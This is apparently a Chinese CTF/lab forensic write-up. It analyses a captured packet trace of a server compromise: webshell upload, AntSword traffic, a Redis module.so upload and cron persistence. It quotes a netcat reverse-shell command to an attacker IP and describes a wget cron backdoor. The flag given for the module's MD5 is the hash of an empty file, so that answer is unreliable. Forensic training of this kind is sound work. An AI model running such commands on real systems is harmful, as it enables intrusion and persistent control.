文章目录
一、前言
题目简述:服务器有对外链接请求的痕迹,现提供一段 waf 上截获的数据包,分析对应的虚拟机环境跟数据包,找到关键字符串并且尝试修复漏洞
账号:root
,密码:root123
,流量包在/result.pcap
二、索引
三、题目列表
步骤#1
审计日志,攻击者下载恶意木马文件的 ip是多少 flag{ip}
先通过wireshark语法筛选出http流量
我们简单分析这个流量包,前面有大量的404状态码,表明黑客正在进行目录扫描。后面黑客发现了evil.php
文件,但是不知道参数名是什么,对参数名进行了大量尝试,最后发现参数command
可以执行命令
继续分析,可以看到黑客执行命令把shell.php
下载到目标机器上
因此可知攻击者下载恶意木马文件的ip地址为192.168.150.253
flag{192.168.150.253}
步骤#2
审计流量包,木马文件连接密码是什么? flag{xxx}
继续向下分析,可以看到攻击者通过POST数据包与shell.php
进行通信
因此连接密码就是cmd
flag{cmd}
步骤#3
审计流量包,攻击者反弹的IP和端口是什么? flag{ip:port}
也是刚才的流量,我们对其内容进行base64解码
发现@ini_set("display_errors", "0");@set_time_limit(0);
,结合前面的特征,可以推断这是通过蚁剑连接的。继续分析流量,发现有个流量记录了外连命令,通过nc反弹shell获得控制权
因此攻击者反弹的IP和端口是192.168.150.199:4444
flag{192.168.150.199:4444}
步骤#4
提交黑客上传恶意文件的 md5 md5sum xxx.so
题目提示文件后缀是.so
,我们直接wireshark语法搜索内容包含.so
的流量
tcp and frame contains ".so"
可以看到通过redis主从复制上传了一个module.so
动态链接库。前面的RESP协议是Redis 客户端和服务器之间通信使用的协议
那我们修改wireshark语法搜索RESP协议的流量
经过分析,前面上传的module.so
文件有问题,加载模块后无法执行命令
后面上传了一个符合条件的module.so
文件,成功执行系统命令
攻击者执行了命令nc -e /bin/bash 192.168.150.199 4444
反弹shell,因此可以确定这个就是恶意文件
登录目标靶机,在根目录下计算该文件的 MD5 值即可
md5sum module.so
flag{d41d8cd98f00b204e9800998ecf8427e}
步骤#5
攻击者在服务器内权限维持请求外部地址和恶意文件的地址 flag{http://xxxxxxxxxx/xx.xxx}
攻击者要想在服务器内维持权限,肯定是有后门的。然后题目说请求的外部地址和恶意文件的地址,那说明是会定期向外部发送请求的,我们直接查看计划任务
cat /etc/crontab
成功发现黑客留下的后门,通过wget
定期向恶意地址下载webshell到目标机器,频率为每分钟执行一次
flag{http://192.168.150.199:88/shell.php}